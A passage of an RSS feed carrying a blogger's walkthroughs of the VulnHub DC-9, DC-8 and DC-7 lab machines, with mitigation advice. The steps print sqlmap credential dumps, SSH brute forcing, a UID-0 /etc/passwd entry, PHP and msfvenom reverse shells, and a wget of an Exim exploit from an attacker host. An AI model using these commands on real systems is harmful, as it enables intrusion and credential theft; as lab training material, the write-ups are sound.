table:</li></ol><pre>sqlmap -D users -T UserDetails --columns</pre><p>2. Once the relevant columns were identified, I extracted only the <strong>username</strong> and <strong>password</strong> fields:</p><pre>sqlmap -D users -T UserDetails -C username,password --dump</pre><p>The first command helps identify what data is available, while the second focuses specifically on retrieving the credentials we’re interested in.</p><p>After extracting the credentials, I saved the results into <strong>two separate files</strong> — one for usernames and one for passwords — naming them <strong>user</strong> and <strong>pass</strong> respectively.</p><p>This made it easier to reuse the credentials later during authentication testing and brute-force attempts.</p><p>From the initial scans, <strong>port 22</strong> was still showing up as <em>filtered</em>, which meant it was waiting for the correct <strong>port-knocking sequence</strong>. However, before knocking, the real challenge was figuring out <strong>what that sequence actually was</strong>.</p><p>Going back to <strong>welcome.php</strong>, I noticed a strange message saying <em>“file doesn’t exist”</em>. That message felt out of place and hinted that the application might be referencing something internally — a small clue that was worth investigating further.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XiBCGOuYDTllq38DZlIxRA.png" /></figure><p>I then tried passing a <strong>file</strong> parameter directly in the URL and tested it for <strong>directory traversal</strong>. This time, the results were different — the application responded as expected, confirming the presence of a <strong>Local File Inclusion (LFI)</strong> vulnerability.</p><p>With LFI now identified, it opened up a new path for further information disclosure and enumeration.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yHg0ENVsGLlbIL6FjFX6sA.png" /></figure><p>At this point, the next goal was to find the <strong>port-knocking sequence</strong> needed to change <strong>port 22</strong> from <em>filtered</em> to <em>open</em>.</p><p>After some research, I came across an article mentioning the <strong>knockd.conf</strong> file, which typically stores the <strong>port-knocking sequence</strong> used by the system. Since this file often contains the exact knock order, it became an obvious target.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7lU5JW2ILtgy6cu2G51clg.png" /></figure><p>Using the previously identified <strong>directory traversal</strong>, I attempted to read the knockd.conf file — and it worked. The file revealed the required knock sequence needed to open <strong>port 22</strong>.</p><p>(Reference article: <a href="https://www.howtogeek.com/442733/how-to-use-port-knocking-on-linux-and-why-you-shouldnt/">https://www.howtogeek.com/442733/how-to-use-port-knocking-on-linux-and-why-you-shouldnt/</a>)</p><p>With the sequence in hand, the next step was to knock and gain SSH access.</p><pre>knock -v &lt;target_IP&gt; 7469 8475 9842</pre><p>If you encounter an error where the knock command is not found, it simply means the required package isn’t installed. This can be fixed by installing <strong>knockd</strong>:</p><pre>sudo apt install knockd</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/747/1*wp121FwA5Z2NAhgr_dbH7g.png" /></figure><p>Once the knock sequence was sent successfully, I re-ran the <strong>Nmap scan</strong> against the target. This time, <strong>port 22</strong> was no longer filtered — it had transitioned to an <strong>open</strong> state, confirming that the port knocking worked as intended.</p><p>With SSH now accessible, the next step was to attempt a <strong>brute-force login</strong> using the <strong>username and password combinations</strong> extracted earlier through SQL injection.</p><pre>hydra -L user -P pass ssh://&lt;target_IP&gt;</pre><p>These credentials gave us a solid starting point to test for valid SSH access on the target system.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/935/1*Cao1nWSHRKFL6zXm0udZjw.png" /></figure><p>Out of the credential set, <strong>three users</strong> were able to authenticate successfully over SSH. I logged in as each user and performed basic enumeration one by one.</p><h3>STEP-4 : PRIVILEGE ESCALATION</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/747/1*8Krlx1ZwBs6PL1PMMTKhZQ.png" /></figure><p>Both <strong>chandlerb</strong> and <strong>joeyt</strong> didn’t reveal anything particularly useful during enumeration. However, when I switched to the <strong>janitor</strong> user, things started to get interesting.</p><p>Inside the janitor’s home directory, I discovered a hidden folder named <strong>secrets-for-putin</strong>, which immediately stood out as a potential pivot point. Digging further into this directory, I found a text file called <strong>passwords-found-on-post-it-notes</strong> — an obvious sign that more credentials might be waiting inside.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/944/1*sY12tiTliAReMYbFkwdjQA.png" /></figure><p>I copied the newly discovered passwords and added them to the existing <strong>pass</strong> file created earlier. With an updated password list, I ran <strong>Hydra</strong> again against the SSH service.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/942/1*9Jv38lzee52OPxMINztgVQ.png" /></figure><p>Before long, this revealed a new valid SSH login — this time as the user <strong>fredf</strong>.</p><p>Then I changed my user to fredf with newly found password and ran:</p><pre>sudo -l</pre><p>Further enumeration revealed that the user <strong>fredf</strong> was allowed to run a file named <strong>test as sudo. </strong>On closer inspection, this binary had the ability to <strong>append data to any file as root</strong>, which immediately made it a powerful privilege-escalation vector.</p><p>To take advantage of this, I generated a <strong>SHA-512 Linux password hash</strong> using <strong>OpenSSL</strong> and then used the test binary to append a new user entry directly into the <strong>/etc/passwd</strong> file. I created a new user named <strong>fakeRoot</strong> with <strong>UID 0</strong>, effectively giving it root privileges.</p><pre>openssl passwd -6 pwned //here pwned is the password<br>echo &#39;fakeRoot:&lt;openssl_generated_hash&gt;:0:0:root:/root:/bin/bash&#39; &gt; fakeRoot<br>sudo opt/devstuff/test/test fakeRoot /etc/passwd<br><br>su fakeRoot</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/957/1*yOhSM9u9Vz6-8OaeAgjsWg.png" /></figure><p>Once the entry was added, I switched to the newly created user, entered the password, and successfully obtained <strong>root access</strong> on the machine then I navigated to /root folder and captured the flag.</p><h3>STEP-5 : MITIGATION</h3><p>DC-9 highlights how a series of <strong>small misconfigurations</strong>, when left unchecked, can be chained together to fully compromise a system. In a real-world environment, the following steps would significantly reduce the attack surface and prevent this type of compromise:</p><p><strong>Disable or restrict SQL injection</strong></p><ul><li>Use parameterized queries or prepared statements.</li><li>Implement proper input validation and output encoding.</li><li>Avoid exposing database error messages to users.</li></ul><p><strong>Prevent Local File Inclusion (LFI)</strong></p><ul><li>Sanitize user-supplied input used in file handling.</li><li>Enforce strict allowlists for file access.</li><li>Disable unnecessary file inclusion logic in production applications.</li></ul><p><strong>Avoid security through obscurity mechanisms</strong></p><ul><li>Port knocking should not be relied upon as a primary security control.</li><li>Use proper firewall rules, VPNs, or IP allowlists instead.</li></ul><p><strong>Harden SSH access</strong></p><ul><li>Disable password-based authentication and use key-based authentication.</li><li>Limit SSH access using firewall rules or bastion hosts.</li><li>Monitor and rate-limit authentication attempts.</li></ul><p><strong>Protect sensitive configuration files</strong></p><ul><li>Ensure files such as knockd.conf are not readable by the web server user.</li><li>Apply least-privilege permissions to all configuration files.</li></ul><p><strong>Restrict privilege escalation paths</strong></p><ul><li>Avoid allowing binaries or scripts to run with elevated privileges unless absolutely necessary.</li><li>Regularly audit sudo permissions and custom binaries for unintended write capabilities.</li><li>Prevent writable access to critical system files like /etc/passwd.</li></ul><p><strong>Apply the principle of least privilege</strong></p><ul><li>Users should only have access to what they strictly need.</li><li>Remove unused accounts and rotate credentials regularly.</li></ul><p><strong><em>THANK YOU FOR READING!!</em></strong></p><h3>About me:</h3><p>I’m an aspiring <strong>penetration tester</strong> and <strong>cybersecurity researcher</strong> with a background in IoT and software development. I enjoy breaking things (ethically!), learning how systems work under the hood, and building my own tools to automate different parts of the pentesting workflow.</p><p>Most of my learning comes from hands-on practice with platforms like <strong>VulnHub</strong>, and my own home-lab experiments. I believe in understanding <em>why</em> something works — not just copying commands — so I often document my approach to help others improve their methodology too.</p><p>I also love writing small utilities, scripts, and recon tools like <strong>VedicRecon</strong>, which I use throughout my CTFs and real-world practice to make enumeration faster and more structured.</p><p>If you’d like to follow my journey or try out my tools, I’ll leave links to my Medium articles and GitHub at the end of this write-up.</p><p><strong><em>VedicRecon:-</em></strong> <a href="https://github.com/Shikhar0708/VedicRecon.git">https://github.com/Shikhar0708/VedicRecon.git</a><br><strong><em>Previous Walkthroughs: </em></strong><a href="https://medium.com/@shikharsinha34920">https://medium.com/@shikharsinha34920</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7688ad3578e8" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[DC-1 → DC-9: A Full 9-Machine Pentesting Series | Episode 7: DC-8]]></title>
            <link>https://medium.com/@shikharsinha34920/dc-1-dc-9-a-full-9-machine-pentesting-series-episode-7-dc-8-081e1cd9664d?source=rss-5b9d789bb4e5------2</link>
            <guid isPermaLink="false">https://medium.com/p/081e1cd9664d</guid>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[vulnerability]]></category>
            <category><![CDATA[vulnhub]]></category>
            <dc:creator><![CDATA[Vedic_error]]></dc:creator>
            <pubDate>Sat, 13 Dec 2025 22:10:27 GMT</pubDate>
            <atom:updated>2025-12-13T22:10:27.408Z</atom:updated>
            <content:encoded><![CDATA[<p><em>[Series Link]</em> :- <a href="https://www.vulnhub.com/series/dc,199/">https://www.vulnhub.com/series/dc,199/</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AVUm164Kano0ZhF4FY3W5A.png" /></figure><p><strong>Welcome to the second-last chapter of my DC-series journey.</strong><br> In this article, I’ll be walking through DC-8 — a beautifully designed machine that stands out for its logical attack chain and one of the most satisfying privilege-escalation paths in the series.</p><p>This box rewards careful enumeration and disciplined decision-making, making it an excellent example of how small misconfigurations can cascade into full system compromise.</p><h3>INDEX:</h3><ol><li>RECONNAISSANCE</li><li>Enumeration</li><li>Exploitation</li><li>Privilege Escalation</li><li>Mitigation</li><li>About Me</li></ol><h3>STEP-1 : RECONNAISSANCE</h3><p>For reconnaissance, I rely on my custom script — <strong><em>VedicRecon</em></strong>.</p><pre>sudo python3 -m vedicrecon</pre><p>It provides a clear overview of the target and streamlines my workflow by merging host discovery and full-port scanning into a single automated process. I will drop the link at the bottom of this walkthrough feel free to check it out.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/786/1*LT21y8IMokIIDZ38305B4w.png" /></figure><p>The scan highlights two services of interest: HTTP (80) and SSH (22).<br>Time to check out port 80 and see what we’re dealing with.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IyncZ72PCptNDFuBDtEGLg.png" /></figure><p>The homepage contained minimal information, which made it clear that the real attack surface lay beyond initial browsing.</p><h3>STEP-2 : ENUMERATION</h3><p>After some manual enumeration, I noticed that all navigation on the site relied on a single parameter: nid. Pages were accessible in two equivalent ways — either via /node/1, /node/2, etc., or through query-based navigation such as ?nid=1, ?nid=2.</p><p>This immediately made nid an interesting candidate for further testing. While attempting local file inclusion did not succeed, it caused the application to throw a <strong>MySQL PDO exception</strong>, which confirmed that user input was being passed directly into a database query. This error disclosure revealed a new and more promising attack surface: <strong>SQL injection</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*C7_a53CGGrBFmewVBRSv2Q.png" /></figure><h3>STEP-3 : EXPLOITATION</h3><p>I intercepted the request using Burp Suite and saved it from the Repeater module to a file named root for further testing.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/787/1*Y8IIzU7VCAA0104K1Gt-5w.png" /></figure><p>After confirming the SQL injection with sqlmap, I enumerated the backend databases. The presence of the d7db database strongly suggested a Drupal 7 installation, while information_schema is standard for MySQL.</p><pre>sqlmap root --level=5 --risk=3 --dbs --batch</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/423/1*bsEUumCeOoKMQlvT8-6LgQ.png" /></figure><p>Given that information_schema is a default MySQL system database, it was deprioritized early. Enumeration instead focused on d7db, which was expected to contain Drupal-specific tables and user credentials.</p><blockquote>LISTING TABLES:</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/292/1*WBl_7w-VaSt9rzv6p0e21A.png" /></figure><pre>sqlmap root -D d7db --tables</pre><p>Found two interesting tables :<br><em>users<br>users_roles</em></p><blockquote>LISTING COLUMNS:</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/403/1*9vGcxMT_7tX1KMRUnW8tAQ.png" /></figure><pre>sqlmap root -D d7db -T users --columns</pre><p>Further enumeration revealed the name and pass columns, confirming the presence of user account data and hashed credentials.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/661/1*fsswLHuDhj-4nYHFuAd9bA.png" /></figure><pre>sqlmap root -D d7db -T users -C name,pass</pre><p>With the Drupal 7 password hash for the admin account extracted, the next step was offline password cracking. I used <strong>hashcat</strong> due to its GPU support on my Windows system, which provides faster performance compared to CPU-based cracking.</p><p>For completeness, the equivalent <strong>John the Ripper</strong> command is also included, as both tools support Drupal 7 hash formats.</p><pre>/Hashcat<br><br>hashcat -m 7900 hash.txt rockyou.txt<br><br>/johntheripper<br><br>john hash.txt --format=drupal7 --wordlist=/rockyou.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/822/1*IYVWp7B56FW0Lb4WrQ_bQA.png" /></figure><p>The Drupal hash was successfully cracked, revealing the plaintext credentials for the user <strong>john</strong>.</p><p>After recovering the credentials, I re-evaluated previously observed hints and identified multiple disallowed entries, pointing toward a robots.txt file. Reviewing this file provided further insight into hidden application paths.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/316/1*s7GjK9HwjI0WEHDgC60-Og.png" /></figure><p>The robots.txt file exposed a disallowed endpoint, /user/login, which corresponded to the Drupal CMS authentication page. Using the recovered credentials for the user john, I was able to log in successfully and gain authenticated access to the CMS.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*57m71aTGo59br3xb3pAZnA.png" /></figure><p>Navigating to the <strong>Content</strong> section (highlighted in the image below) revealed a <em>Contact Us</em> page that was editable by the user john, indicating a potential path toward further exploitation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*emcHP6xCwDULfznlIdSnYg.png" /></figure><p>Editing the <em>Contact Us</em> page allowed access to the <strong>Form settings</strong>, which exposed additional configuration options.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oBIKq1ePZvgm-9-ieWNibA.png" /></figure><p>Within the <strong>Form settings</strong>, I inserted <strong>PentestMonkey’s PHP reverse shell</strong> into the <em>Body</em> section. It is important <strong>not to remove the existing prefilled content</strong> of the <em>Contact Us</em> form; instead, the PHP payload should be appended below it. Removing the original content prevents the payload from executing correctly.</p><p>Finally, the text format was changed to <strong>PHP code</strong>, which is required for the payload to be interpreted and executed by the server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/663/1*tuBsisxfWWFNnaxl6Co2Wg.png" /></figure><p>A listener was then started on the port configured in the reverse shell payload to receive the incoming connection.</p><pre>rlwrap nc -lvnp &lt;port_number&gt;</pre><blockquote><strong><em>Note:</em></strong><em> </em><em>rlwrap is a utility that improves shell interaction by enabling command history and line editing. If it is not installed on your system, it can be installed using your package manager.</em></blockquote><pre>sudo apt install rlwrap</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TGa-JgOXadlDy4BzgKCnnw.png" /></figure><p>Submitting the <em>Contact Us</em> form triggered the injected PHP payload, establishing a reverse shell connection back to the listening host.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/712/1*9GPSSvuSzS9F9f61ibTjMQ.png" /></figure><p>As the obtained shell was non-interactive, I upgraded it to a proper TTY using Python’s pty.spawn().</p><pre>python -c &#39;import pty; pty.spawn(&quot;/bin/bash&quot;)&#39;</pre><h3>STEP-4 : PRIVILEGE ESCALATION</h3><p>I enumerated SUID binaries across the filesystem to identify potential privilege escalation opportunities:</p><pre>find / -perm -4000 -type f 2&gt;/dev/null</pre><p>When initial SUID checks yielded no viable escalation paths, I systematically enumerated additional vectors, including SGID binaries, root-owned writable files, privileged processes, and scheduled cron jobs:</p><pre>find / -perm -2000 -type f 2&gt;/dev/null<br>find / -writable user root 2&gt;/dev/null<br>ps aux | grep root<br>ls -la /etc/crontab</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/688/1*aFDZyJlDB1Dnladl1-0zQQ.png" /></figure><p>Following additional system enumeration, I retrieved system details using:</p><pre>uname -a</pre><p>This information, combined with earlier SUID findings, led to the identification of a known <strong>Exim4 privilege escalation vulnerability</strong>, confirming exim4 as the intended and reliable escalation vector.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1018/1*4Q7wMDE3MkworUeev7KHdg.png" /></figure><p>A known Exim4 vulnerability (CVE-2019–10149), affecting versions <strong>4.79–4.91</strong>, allows local privilege escalation due to improper input validation in the deliver_message() function. Since exim4 was already identified as an SUID binary, this flaw became particularly relevant.</p><p>I verified the installed Exim version using:</p><pre>dpkg -l | grep exim</pre><p>The version in use fell within the vulnerable range, confirming this as the intended escalation path.</p><p>Once the vulnerability was confirmed, the exploit was staged in the /tmp directory and prepared for execution to escalate privileges.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*avH6NPWewrzgNxjtsQIZyw.png" /></figure><p>To obtain the exploit, I searched Exploit-DB using <strong>searchsploit</strong> and identified a suitable exploit for the vulnerable Exim version:</p><pre>searchsploit exim 4.89</pre><p>The exploit was then copied to my local working directory:</p><pre>searchsploit -m 46996.sh</pre><p>To transfer the exploit to the target system, I started a simple Python HTTP server:</p><pre>python3 -m http.server 8080</pre><p>On the victim machine, the exploit was downloaded, permissions were adjusted, and it was executed:</p><pre>wget http://&lt;ATTACKER_IP&gt;:8080/46996.sh<br>chmod 755 46996.sh<br>./46996.sh</pre><p>Successful execution of the exploit resulted in a <strong>root shell</strong>, completing the privilege escalation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/915/1*Zfx6ZCHUOs5pOdj8OBZAWg.png" /></figure><p>AND WE HAVE ROOTED THIS BOX!!</p><h3>STEP-5 : MITIGATION</h3><p>This compromise could have been prevented by updating Exim4 to a patched version, removing unnecessary SUID permissions, enforcing strict role-based access control within the Drupal CMS, disabling PHP execution in user-editable content, and reducing information disclosure through proper error handling and enforcing strong password policy. Regular patch management and security audits are critical to preventing similar attacks.</p><p><strong><em>THANK YOU FOR READING!!</em></strong></p><h3>About me:</h3><p>I’m an aspiring <strong>penetration tester</strong> and <strong>cybersecurity researcher</strong> with a background in IoT and software development. I enjoy breaking things (ethically!), learning how systems work under the hood, and building my own tools to automate different parts of the pentesting workflow.</p><p>Most of my learning comes from hands-on practice with platforms like <strong>VulnHub</strong>, and my own home-lab experiments. I believe in understanding <em>why</em> something works — not just copying commands — so I often document my approach to help others improve their methodology too.</p><p>I also love writing small utilities, scripts, and recon tools like <strong>VedicRecon</strong>, which I use throughout my CTFs and real-world practice to make enumeration faster and more structured.</p><p>If you’d like to follow my journey or try out my tools, I’ll leave links to my Medium articles and GitHub at the end of this write-up.</p><p><strong><em>VedicRecon:-</em></strong> <a href="https://github.com/Shikhar0708/VedicRecon.git">https://github.com/Shikhar0708/VedicRecon.git</a><br><strong><em>Previous Walkthroughs: </em></strong><a href="https://medium.com/@shikharsinha34920">https://medium.com/@shikharsinha34920</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=081e1cd9664d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[DC-1 → DC-9: A Full 9-Machine Pentesting Series | Episode 6: DC-7]]></title>
            <link>https://medium.com/@shikharsinha34920/dc-1-dc-9-a-full-9-machine-pentesting-series-episode-6-dc-7-6519d5080eae?source=rss-5b9d789bb4e5------2</link>
            <guid isPermaLink="false">https://medium.com/p/6519d5080eae</guid>
            <category><![CDATA[vulnhub]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[vulnerability]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[red-team]]></category>
            <dc:creator><![CDATA[Vedic_error]]></dc:creator>
            <pubDate>Wed, 10 Dec 2025 19:20:15 GMT</pubDate>
            <atom:updated>2025-12-10T19:20:15.290Z</atom:updated>
            <content:encoded><![CDATA[<p><em>[Series Link]</em> :- <a href="https://www.vulnhub.com/series/dc,199/">https://www.vulnhub.com/series/dc,199/</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*D2un5u4J9LBHCI2sEjoHPQ.png" /></figure><p><strong>Welcome to Part 6 of my DC-1 to DC-9 rooting series!<br></strong>I hope winter is going great for you all.<br>Today, I’m exploring <strong>DC-7</strong>, and this machine truly earns its place as one of the more thoughtful challenges in the DC series. It doesn’t give anything away easily — instead, it pushes you to think creatively, enumerate thoroughly, and connect subtle clues to progress.</p><p>If you enjoy machines that make you slow down, analyze, and strategize, DC-7 is a perfect fit.<br>Let’s dive in and work our way toward that <strong>root flag</strong>.</p><h3>STEP-1 : RECONNAISSANCE</h3><p>For reconnaissance, I rely on my custom script — <strong><em>VedicRecon</em></strong>.</p><pre>sudo python3 -m vedicrecon</pre><p>It provides a clear overview of the target and streamlines my workflow by merging host discovery and full-port scanning into a single automated process. I will drop the link at the bottom of this walkthrough feel free to check it out.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/557/1*wCK6G3RHi1_HUdOGxpPFTA.png" /></figure><p>The scan highlights two services of interest: HTTP (80) and SSH (22).<br>Time to check out port 80 and see what we’re dealing with.</p><h3>STEP 2 : ENUMERATION</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*03GK-Fb8hKIavLUkwhehUA.png" /></figure><p>This Drupal CMS box makes one thing very clear right from the start: <em>“brute-forcing won’t help — think outside the box.”</em><br> So after clicking around for a bit and trying to get a feel for the site, something at the bottom-left caught my attention: a <strong>DC7 user reference</strong>.</p><p>That little detail felt intentional, so I decided to follow the clue. A quick Google search later, I ended up on an <strong>X (formerly Twitter)</strong> profile related to DC7 — and that’s where the real direction for this machine started to reveal itself.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3JLH5D0euB63SSuKlR1gTw.png" /></figure><p>While exploring the profile, I noticed a GitHub link. Clicking on it led me to a repository named <strong>staffdb</strong>. Inside the repo, there was a config.php file — and that immediately caught my attention.</p><p>Opening it revealed exactly what I was hoping for: a set of <strong>database credentials</strong>, including the MySQL username, password, and other connection details. A very useful lead for the next step.</p><h3>STEP 3 : EXPLOITATION</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/606/1*uA6pRTcYJLZwg-3nKTr8bw.png" /></figure><p>With the database credentials in hand, the next logical step was to see if they worked elsewhere. I decided to try SSH on port 22 and used the MySQL password for the dc7user account. And yes — it worked. I was able to log into the system successfully, confirming that the credentials were reused.</p><pre>ssh dc7user@target_Ip</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/755/1*k5BxSuaPSM6vN_sm1TNF1Q.png" /></figure><p>As soon as I logged in, something else grabbed my attention — the system told me: <strong>“You have new mail.”</strong><br> Curious, I checked it using:</p><pre>mail</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/828/1*gUB2JRKUjJHTmBwRYy3STw.png" /></figure><p>The mail itself wasn’t related to cron, but it served as a reminder to start looking around more closely. While exploring the system further, I checked the crontab — and that’s where I found something important.</p><p><strong>Root was executing a script called </strong><strong>backups.sh every 15 minutes.</strong><br> I checked the permissions on this file, and to my advantage, it turned out to be <strong>writable by </strong><strong>dc7user</strong>. That meant I could modify a script that root runs automatically, which immediately pointed toward a clear privilege escalation path.</p><h3><strong>Privilege Escalation:</strong></h3><p><strong>Note:</strong> I actually managed to root this machine in two different ways. In both cases, I used the same reverse shell payload that I generated with Metasploit — just a simple shell that I reused during each escalation attempt.</p><h4>Way 1:</h4><p>The main privilege escalation vector here is straightforward: <strong>modify the </strong><strong>backups.sh script so that it returns a root shell when it gets executed by cron.</strong> Since the script runs as root every 15 minutes and is writable by dc7user, it becomes the perfect place to insert our payload.</p><pre>msfvenom -p cmd/unix/reverse_netcat lhost=&lt;attacker_IP&gt; lport=&lt;port_no&gt; R</pre><p>This payload generator gives us a simple reverse shell command, which we can directly append to backups.sh. After adding the payload, all that’s left is to set up a listener on our machine and wait for cron to execute the script. Once it runs, we receive a <strong>root shell</strong>.</p><pre>nc -lvnp &lt;port_no&gt;<br>#once connected<br>cd /root<br>cat theflag.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/831/1*VwpTZpKTzBHsxeIZicA9sA.png" /></figure><p>If, for some reason, the reverse shell doesn’t fire or the listener doesn’t catch anything, you can follow these steps instead.</p><p><strong>Way 2:</strong></p><p>While inspecting the mbox script, I noticed something interesting — this box actually uses <strong>Drush</strong>, the command-line interface for managing Drupal. That immediately opened up another potential path for gaining elevated access.</p><p>I changed the password for the admin account.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/676/1*i5Dlp0I7J-Wu4tslQvoW4A.png" /></figure><pre>drush user-password admin --password=&#39;admin&#39;</pre><p>Let’s login with new password and username as admin.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XsG1LLC7oD9INp-RcmXKeQ.png" /></figure><p>To move forward with this method, we first need to install the missing PHP extension, since it isn’t available in the CMS by default. The easiest way is to head over to the official Drupal website and download the required .tar.gz file for the extension.</p><pre>https://www.drupal.org/project/php/releases</pre><p>Head over to Extend and Click on Install module and select the .tar.gz file you downloaded and enable it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*D-6zEyh23CJRnJ99uoD1OA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/872/1*RTFbBiPVUMiyygCDn7wyQA.png" /></figure><p>After enabling the module just check the PHP in the filter tab as well.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iSD19HO0NUrHj4ZbPTx_iA.png" /></figure><p>Now go back to the <strong>Dashboard</strong>, choose <strong>Create → Basic page</strong>, and in the text format dropdown, select <strong>PHP</strong>. This allows you to execute PHP code directly through the page content.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wQowZP1PidVz28_Al2NXhg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WmcrJfh3hVT60rXlpQqGRg.png" /></figure><p>From the text format dropdown, select <strong>PHP code</strong>. After that, I simply pasted the classic <strong>PentestMonkey PHP reverse shell</strong> into the content area, saved the page, and set up my listener. As soon as the page executed, I received a reverse shell as <strong>www-data</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0ilG7t4OXfJAGTIhVU3qYg.png" /></figure><p>Click On Preview.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/743/1*DO0Tsrjfpmebeys0j3ixjw.png" /></figure><p>After gaining the www-data shell through this method, I reused the exact same payload from <strong>Way 1</strong> to trigger the cron job and escalate to a <strong>root shell</strong> again. The workflow remained the same — modify backups.sh, set up a listener, and wait for cron to deliver the root connection</p><pre>msfvenom -p cmd/unix/reverse_netcat lhost=&lt;attacker_IP&gt; lport=&lt;port_no&gt; R</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ig1FFMB2W1phDb4HA92ELQ.png" /></figure><p>After 15 minutes I was a root user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/831/1*VwpTZpKTzBHsxeIZicA9sA.png" /></figure><p>And Just like that DC7 box is rooted!!</p><p>Overall, this box had a very CTF-ish vibe, and I genuinely enjoyed working through it. The combination of subtle clues, creative enumeration, and multiple rooting paths made DC-7 a fun and memorable challenge.</p><p><strong><em>THANK YOU FOR READING!!</em></strong></p><h3>About me:</h3><p>I’m an aspiring <strong>penetration tester</strong> and <strong>cybersecurity researcher</strong> with a background in IoT and software development. I enjoy breaking things (ethically!), learning how systems work under the hood, and building my own tools to automate different parts of the pentesting workflow.</p><p>Most of my learning comes from hands-on practice with platforms like <strong>VulnHub</strong>, and my own home-lab experiments. I believe in understanding <em>why</em> something works — not just copying commands — so I often document my approach to help others improve their methodology too.</p><p>I also love writing small utilities, scripts, and recon tools like <strong>VedicRecon</strong>, which I use throughout my CTFs and real-world practice to make enumeration faster and more structured.</p><p>If you’d like to follow my journey or try out my tools, I’ll leave links to my Medium articles and GitHub at the end of this write-up.</p><p><strong><em>VedicRecon:-</em></strong> <a href="https://github.com/Shikhar0708/VedicRecon.git">https://github.com/Shikhar0708/VedicRecon.git</a><br><strong><em>Previous Walkthroughs: </em></strong><a href="https://medium.com/@shikharsinha34920">https://medium.com/@shikharsinha34920</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6519d5080eae" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>